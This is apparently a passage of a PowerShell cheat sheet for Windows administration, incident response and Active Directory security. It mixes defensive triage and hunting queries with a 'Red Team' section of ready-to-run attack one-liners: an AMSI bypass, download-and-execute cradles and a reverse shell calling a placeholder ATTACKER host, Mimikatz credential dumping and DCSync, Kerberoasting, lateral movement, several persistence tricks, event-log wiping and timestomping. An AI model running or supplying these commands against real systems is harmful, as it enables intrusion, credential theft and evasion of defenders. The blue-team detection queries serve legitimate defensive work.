Get-ADFineGrainedPasswordPolicy -Filter *

# ==========================================
# NETWORK MONITORING
# ==========================================

# Active connections with process names
Get-NetTCPConnection -State Established |
    Select LocalAddress, LocalPort, RemoteAddress, RemotePort,
           @{N="Process";E={(Get-Process -Id $_.OwningProcess -EA SilentlyContinue).Name}},
           @{N="PID";E={$_.OwningProcess}} |
    Sort RemoteAddress

# DNS cache (see what hosts resolved recently)
Get-DnsClientCache | Select Entry, RecordName, Data, TimeToLive | Sort Entry

# ARP table (recent network neighbors)
Get-NetNeighbor | Select IPAddress, LinkLayerAddress, State | Where State -ne "Unreachable"

# Firewall rules audit (find permissive rules)
Get-NetFirewallRule | Where-Object { $_.Enabled -eq "True" -and $_.Direction -eq "Inbound" -and $_.Action -eq "Allow" } |
    Select DisplayName, Profile, Direction, Action |
    Sort DisplayName

# SMB shares (what is shared?)
Get-SmbShare
Get-SmbShare | Where-Object { $_.Name -notmatch "ADMIN\$|C\$|IPC\$|NETLOGON|SYSVOL" }

# SMB sessions (who is connected?)
Get-SmbSession
Get-SmbOpenFile

# ==========================================
# DEFENDER & AV STATUS
# ==========================================

# Windows Defender status
Get-MpComputerStatus | Select AMRunningMode, AntivirusEnabled, RealTimeProtectionEnabled, AMProductVersion, AntivirusSignatureLastUpdated

# Recent threats detected
Get-MpThreatDetection | Select ActionSuccess, InitialDetectionTime, ThreatName, Resources

# Exclusions (check for attacker-added exclusions!)
Get-MpPreference | Select ExclusionPath, ExclusionProcess, ExclusionExtension

# ==========================================
# INCIDENT RESPONSE TRIAGE
# ==========================================

# Full triage one-liner (collect everything fast)
$triage = [PSCustomObject]@{
    Hostname       = $env:COMPUTERNAME
    CurrentUser    = whoami
    LoggedOnUsers  = (Get-CimInstance Win32_LoggedOnUser | Select -ExpandProperty Antecedent | ForEach-Object { $_.Name } | Sort -Unique)
    RunningProcs   = (Get-Process | Select Name, Id, Path | Sort Name)
    NetConnections = (Get-NetTCPConnection -State Established | Select LocalPort, RemoteAddress, RemotePort)
    ListeningPorts = (Get-NetTCPConnection -State Listen | Select LocalAddress, LocalPort)
    Services       = (Get-Service | Where Status -eq Running | Select Name, DisplayName)
    AutoRunKeys    = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
    ScheduledTasks = (Get-ScheduledTask | Where State -ne Disabled | Select TaskName, @{N="Action";E={$_.Actions.Execute}})
    WMISubs        = (Get-WMIObject -NS root\subscription -Class __FilterToConsumerBinding)
    LocalAdmins    = (Get-LocalGroupMember Administrators | Select Name, ObjectClass)
    RecentFiles    = (Get-ChildItem C:\Users -Recurse -EA SilentlyContinue | Where { $_.LastWriteTime -gt (Get-Date).AddHours(-24) } | Select FullName, LastWriteTime)
}

$triage | ConvertTo-Json -Depth 5 | Out-File "C:\Triage_$env:COMPUTERNAME_$(Get-Date -Format yyyyMMdd_HHmm).json"
Write-Host "[+] Triage saved."

Master Cheat Sheet


Essential Cmdlets Quick Reference

Task Command
List files Get-ChildItem / ls / dir / gci
Change directory Set-Location / cd
Current directory Get-Location / pwd
Read file Get-Content / cat / gc
Write file Set-Content / Out-File / Add-Content
Copy file Copy-Item / cp
Move / Rename Move-Item / mv
Delete file / dir Remove-Item / rm / del
Create file / dir New-Item
Find files Get-ChildItem -Recurse -Filter
Search file content Select-String (grep equivalent)
List processes Get-Process / ps / gps
Kill process Stop-Process / kill
List services Get-Service
Start / Stop service Start-Service / Stop-Service
Network info Get-NetIPAddress / Get-NetAdapter
Test connectivity Test-Connection / Test-NetConnection
DNS lookup Resolve-DnsName
Download file Invoke-WebRequest / iwr
Run remote command Invoke-Command / icm
Remote session Enter-PSSession / etsn
WMI query Get-CimInstance
Registry read Get-ItemProperty
Registry write Set-ItemProperty / New-ItemProperty
Event logs Get-WinEvent
Help Get-Help / man
Find command Get-Command / gcm
Count / Measure Measure-Object
Group output Group-Object
Sort output Sort-Object
Filter output Where-Object / ?
Transform output ForEach-Object / %
Select properties Select-Object
Inspect object Get-Member / gm
Compare objects Compare-Object / diff
Format as table Format-Table / ft
Format as list Format-List / fl
Export to CSV Export-Csv
Import from CSV Import-Csv
Convert to JSON ConvertTo-Json
Convert from JSON ConvertFrom-Json
Base64 encode [Convert]::ToBase64String(...)
Base64 decode [Convert]::FromBase64String(...)
Zip files Compress-Archive
Unzip files Expand-Archive

PS 7 vs 5.1 Key Differences

Feature PS 5.1 PS 7+
Ternary operator (?:) ❌ ✅
Null coalescing (??) ❌ ✅
Parallel ForEach ❌ ✅
Pipeline chain (&&, ||) ❌ ✅
-SkipCertificateCheck ❌ ✅
Cross-platform (Linux/Mac) ❌ ✅
SSH Remoting (no WinRM) ❌ ✅
Concise error view ❌ ✅
Built-in .NET version .NET Fx .NET 6+

One-Liners — System Info

# Full system summary
Get-CimInstance Win32_OperatingSystem | Select CSName, Caption, Version, LastBootUpTime, TotalVisibleMemorySize

# Disk usage
Get-PSDrive -PSProvider FileSystem | Select Name,
    @{N="Used(GB)";E={[Math]::Round($_.Used/1GB,2)}},
    @{N="Free(GB)";E={[Math]::Round($_.Free/1GB,2)}}

# Top 10 CPU processes
Get-Process | Sort CPU -Descending | Select -First 10 Name, Id, CPU,
    @{N="RAM(MB)";E={[Math]::Round($_.WorkingSet/1MB,2)}}

# Top 10 RAM processes
Get-Process | Sort WorkingSet -Descending | Select -First 10 Name, Id,
    @{N="RAM(MB)";E={[Math]::Round($_.WorkingSet/1MB,2)}}

# System uptime
(Get-Date) - (Get-CimInstance Win32_OperatingSystem).LastBootUpTime

# Installed software
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*" |
    Select DisplayName, DisplayVersion, Publisher, InstallDate |
    Where DisplayName | Sort DisplayName

# Installed patches
Get-CimInstance Win32_QuickFixEngineering | Sort InstalledOn -Descending |
    Select HotFixID, Description, InstalledOn

# Local users + last logon
Get-LocalUser | Select Name, Enabled, LastLogon, PasswordExpires | Sort Name

# AV product installed
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct |
    Select DisplayName, ProductState

One-Liners — Networking

# All open ports + owning process
Get-NetTCPConnection -State Listen |
    Select LocalPort,
        @{N="PID";E={$_.OwningProcess}},
        @{N="Process";E={(Get-Process -Id $_.OwningProcess -EA SilentlyContinue).Name}} |
    Sort LocalPort

# Established connections + process
Get-NetTCPConnection -State Established |
    Select LocalPort, RemoteAddress, RemotePort,
        @{N="Process";E={(Get-Process -Id $_.OwningProcess -EA SilentlyContinue).Name}} |
    Sort RemoteAddress

# Ping sweep (PS7 - parallel)
1..254 | ForEach-Object -Parallel {
    if (Test-Connection "10.10.10.$_" -Count 1 -Quiet) { "10.10.10.$_ is UP" }
} -ThrottleLimit 50

# Quick port scan on a host
22,80,135,139,443,445,3389,5985 | ForEach-Object {
    if ((Test-NetConnection 10.10.10.1 -Port $_ -WarningAction SilentlyContinue).TcpTestSucceeded) {
        "Port $_ OPEN"
    }
}

# DNS cache (recent lookups)
Get-DnsClientCache | Select Entry, RecordName, Data, TimeToLive | Sort Entry

# ARP table
Get-NetNeighbor | Select IPAddress, LinkLayerAddress, State |
    Where State -ne "Unreachable"

# SMB shares exposed
Get-SmbShare | Where-Object { $_.Name -notmatch "ADMIN\$|C\$|IPC\$|NETLOGON|SYSVOL" }

# Active SMB sessions (who is connected)
Get-SmbSession

One-Liners — Red Team

# Disable AMSI (current session)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Disable PS history (ALWAYS do this first!)
Set-PSReadLineOption -HistorySaveStyle SaveNothing
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue

# Bypass execution policy (process scope, no admin needed)
Set-ExecutionPolicy Bypass -Scope Process -Force

# Download + exec in memory (no file on disk!)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')
iex(iwr 'http://ATTACKER/script.ps1' -UseBasicParsing)

# Base64 encode a command (for -EncodedCommand)
$cmd = 'IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER/s.ps1")'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))

# Run encoded command
powershell.exe -EncodedCommand <BASE64_FROM_ABOVE>

# Load .NET assembly in memory (no disk)
$bytes = (New-Object Net.WebClient).DownloadData('http://ATTACKER/tool.exe')
$asm = [System.Reflection.Assembly]::Load($bytes)
$asm.EntryPoint.Invoke($null, @(,[string[]]@("arg1","arg2")))

# Reverse shell one-liner (set ATTACKER + PORT)
$c=New-Object Net.Sockets.TCPClient("ATTACKER",4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$rb=([Text.Encoding]::ASCII).GetBytes($r+"PS> ");$s.Write($rb,0,$rb.Length);$s.Flush()};$c.Close()

# Mimikatz in memory
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds

# PowerView in memory
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1')

# Kerberoast all SPNs (one line)
Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv kerb.csv -NoTypeInformation

# AS-REP roast all vulnerable users (one line)
Get-DomainUser -PreauthNotRequired | Get-ASREPHash -Format Hashcat | Out-File asrep.txt

# DCSync all hashes
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:corp.local /all /csv"'

# Find passwords in GPO SYSVOL
Get-ChildItem "\\$env:USERDNSDOMAIN\SYSVOL" -Recurse `
    -Include "Groups.xml","Services.xml","Scheduledtasks.xml","DataSources.xml","Printers.xml","Drives.xml" `
    -ErrorAction SilentlyContinue |
    Select-String "cpassword" | Select Path, Line

# Find where Domain Admins are logged in
Find-DomainUserLocation -UserName "Administrator"

# WMI lateral movement
Invoke-WmiMethod -Class Win32_Process -Name Create `
    -ArgumentList "powershell.exe -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" `
    -ComputerName TARGET

# PS Remoting lateral movement
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock {
    IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')
}

# Persistence: Run key
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
    -Name "WindowsUpdate" -Value "C:\ProgramData\svc.exe"

# Persistence: Scheduled task (SYSTEM on boot)
schtasks /create /tn "Microsoft\Windows\WindowsUpdate\UpdateHelper" `
    /tr "C:\ProgramData\svc.exe" /sc onstart /ru SYSTEM /f

# Persistence: IFEO Sticky Keys (SYSTEM shell at login screen!)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" `
    /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f

# Persistence: WMI event subscription
$F = Set-WmiInstance -NS root\subscription -Class __EventFilter -Arguments @{Name="WinUpd";EventNamespace="root\cimv2";Query="SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession'";QueryLanguage="WQL"}
$C = Set-WmiInstance -NS root\subscription -Class CommandLineEventConsumer -Arguments @{Name="WinUpdC";CommandLineTemplate="C:\ProgramData\svc.exe"}
Set-WmiInstance -NS root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$F;Consumer=$C}

# Clear all event logs
Get-WinEvent -ListLog * -EA SilentlyContinue | ForEach-Object {
    [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($_.LogName)
}

# Timestomp a file
$f = Get-Item "C:\Temp\tool.exe"
$f.CreationTime = $f.LastWriteTime = $f.LastAccessTime = "2023-01-01 08:00:00"

One-Liners — Blue Team

# Check all WMI subscriptions (persistence)
"__EventFilter","CommandLineEventConsumer","__FilterToConsumerBinding" | ForEach-Object {
    Get-WMIObject -NS root\subscription -Class $_ |
        Select Name, CommandLineTemplate, Filter, Consumer
}

# Check shadow credentials on all users
Get-ADUser -Filter * -Properties "msDS-KeyCredentialLink" |
    Where-Object { $_."msDS-KeyCredentialLink" } |
    Select Name, SamAccountName

# Check shadow credentials on all computers
Get-ADComputer -Filter * -Properties "msDS-KeyCredentialLink" |
    Where-Object { $_."msDS-KeyCredentialLink" } |
    Select Name

# Check SID History injection
Get-ADUser -Filter * -Properties SIDHistory |
    Where-Object { $_.SIDHistory } |
    Select Name, SamAccountName, SIDHistory

# Check accounts with DCSync rights
$dn = (Get-ADDomain).DistinguishedName
(Get-ACL "AD:\$dn").Access |
    Where-Object { $_.ObjectType -match "1131f6aa|1131f6ad" } |
    Select IdentityReference, ActiveDirectoryRights

# Check AdminSDHolder for unexpected ACEs
$dn = (Get-ADDomain).DistinguishedName
(Get-ACL "AD:\CN=AdminSDHolder,CN=System,$dn").Access |
    Where-Object { $_.IdentityReference -notmatch "Enterprise Admins|Domain Admins|SYSTEM|Administrators" } |
    Select IdentityReference, ActiveDirectoryRights

# Check Kerberoastable accounts
Get-ADUser -Filter { ServicePrincipalName -ne "$null" } -Properties ServicePrincipalName |
    Select Name, SamAccountName, ServicePrincipalName

# Check AS-REP Roastable accounts
Get-ADUser -Filter { DoesNotRequirePreAuth -eq $true } -Properties DoesNotRequirePreAuth |
    Select Name, SamAccountName

# Check unconstrained delegation computers (coercion targets!)
Get-ADComputer -Filter { TrustedForDelegation -eq $true } |
    Select Name, DNSHostName

# Check accounts with password never expires
Get-ADUser -Filter { PasswordNeverExpires -eq $true } -Properties PasswordNeverExpires |
    Select Name, SamAccountName, Enabled

# Check stale accounts (90+ days no login)
Get-ADUser -Filter { Enabled -eq $true } -Properties LastLogonDate |
    Where-Object { $_.LastLogonDate -lt (Get-Date).AddDays(-90) -or $_.LastLogonDate -eq $null } |
    Select Name, SamAccountName, LastLogonDate

# Check DSRM backdoor on all DCs
Invoke-Command -ComputerName (Get-ADDomainController -Filter *).Name -ScriptBlock {
    Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" `
        -Name DsrmAdminLogonBehavior -ErrorAction SilentlyContinue
}

# Check Defender exclusions (attackers add these!)
Get-MpPreference | Select ExclusionPath, ExclusionProcess, ExclusionExtension | Format-List

# Check all run keys
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" |
    ForEach-Object { Write-Host "=== $_ ==="; Get-ItemProperty $_ -EA SilentlyContinue }

# Check IFEO debugger hijacks (sticky keys etc)
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*" `
    -EA SilentlyContinue | Where-Object Debugger | Select PSChildName, Debugger

# Check Userinit hijack (all users on logon)
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" |
    Select Userinit, Shell

# Check scheduled tasks (non-standard paths)
Get-ScheduledTask | Where-Object { $_.State -ne "Disabled" } |
    Select TaskName, @{N="Action";E={$_.Actions.Execute}}, @{N="RunAs";E={$_.Principal.UserId}} |
    Where-Object { $_.Action -and $_.Action -notmatch "system32|SysWOW64|MpCmdRun" }

# Check suspicious network connections
Get-NetTCPConnection -State Established |
    Where-Object { $_.RemotePort -notin @(80,443,53,25,22,3389) } |
    Select LocalPort, RemoteAddress, RemotePort,
        @{N="Process";E={(Get-Process -Id $_.OwningProcess -EA SilentlyContinue).Name}}

# Hunt suspicious PS activity in event logs
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -EA SilentlyContinue |
    Where-Object {
        $_.Id -eq 4104 -and
        $_.Message -match "IEX|Invoke-Expression|DownloadString|bypass|amsi|mimikatz|dcsync|sekurlsa"
    } |
    Select TimeCreated, @{N="Snippet";E={$_.Message.Substring(0,[Math]::Min(300,$_.Message.Length))}} |
    Format-List

# Full PS history from all user profiles
Get-ChildItem "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" `
    -Force -ErrorAction SilentlyContinue |
    ForEach-Object { Write-Host "=== $($_.FullName) ==="; Get-Content $_ }

# Full incident response triage (saves JSON)
$triage = [PSCustomObject]@{
    Hostname       = $env:COMPUTERNAME
    CurrentUser    = whoami
    OSInfo         = (Get-CimInstance Win32_OperatingSystem | Select Caption, Version, LastBootUpTime)
    RunningProcs   = (Get-Process | Select Name, Id, Path | Sort Name)
    NetConnections = (Get-NetTCPConnection -State Established | Select LocalPort, RemoteAddress, RemotePort)
    ListeningPorts = (Get-NetTCPConnection -State Listen | Select LocalAddress, LocalPort)
    Services       = (Get-Service | Where Status -eq Running | Select Name, DisplayName)
    AutoRunKeys    = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -EA SilentlyContinue)
    ScheduledTasks = (Get-ScheduledTask | Where State -ne Disabled | Select TaskName, @{N="Action";E={$_.Actions.Execute}})
    WMISubs        = (Get-WMIObject -NS root\subscription -Class __FilterToConsumerBinding -EA SilentlyContinue)
    LocalAdmins    = (Get-LocalGroupMember Administrators | Select Name, ObjectClass)
    DefenderStatus = (Get-MpComputerStatus | Select AMRunningMode, RealTimeProtectionEnabled, AntivirusEnabled)
    DefExclusions  = (Get-MpPreference | Select ExclusionPath, ExclusionProcess, ExclusionExtension)
}
$outFile = "C:\Triage_$($env:COMPUTERNAME)_$(Get-Date -Format yyyyMMdd_HHmm).json"
$triage | ConvertTo-Json -Depth 5 | Out-File $outFile
Write-Host "[+] Triage saved to $outFile"

Special Variables

$_           # Current pipeline object (alias: $PSItem)
$?           # Last command success (True / False)
$$           # Last token of last command
$^           # First token of last command
$args        # Arguments passed to script/function
$error       # Array of all errors ($error = most recent)
$Host        # Current host info
$PID         # Current PowerShell process ID
$PWD         # Current working directory
$PSVersionTable  # PS version, OS, CLR info
$env:PATH    # PATH environment variable
$env:USERNAME    # Current username
$env:COMPUTERNAME  # Current hostname
$env:USERDOMAIN    # Domain name
$PROFILE     # Path to current user PS profile
$null        # Null value
$true        # Boolean true
$false       # Boolean false

Keyboard Shortcuts

Ctrl+C → Cancel current command
Tab → Autocomplete
F7 → Command history popup
Up / Down → Navigate command history
Ctrl+R → Reverse history search (PS7)
Ctrl+L → Clear screen
Ctrl+A → Select all text
Alt+F7 → Clear history popup


Pipeline Quick Reference

Object flow: Cmdlet → | → Where-Object → | → Select-Object → | → Out- / Format-

Inspect object: $obj | Get-Member → See all properties + methods $obj | Select-Object * → See all property VALUES $obj.GetType() → See the .NET type name

Filter: | Where-Object { $_.Property -eq "value" } | Where-Object Property -eq "value" ← Simplified (PS3+)

Transform: | ForEach-Object { $.Property.ToUpper() } | % { $ } ← Alias

Select: | Select-Object Name, Id | Select-Object @{N="MB";E={$_.WorkingSet/1MB}} ← Calculated property

Sort: | Sort-Object Property -Descending

Group: | Group-Object Property

Count: | Measure-Object (Get-Process).Count

Top N: | Select-Object -First 10 | Select-Object -Last 5

← Windows top ↑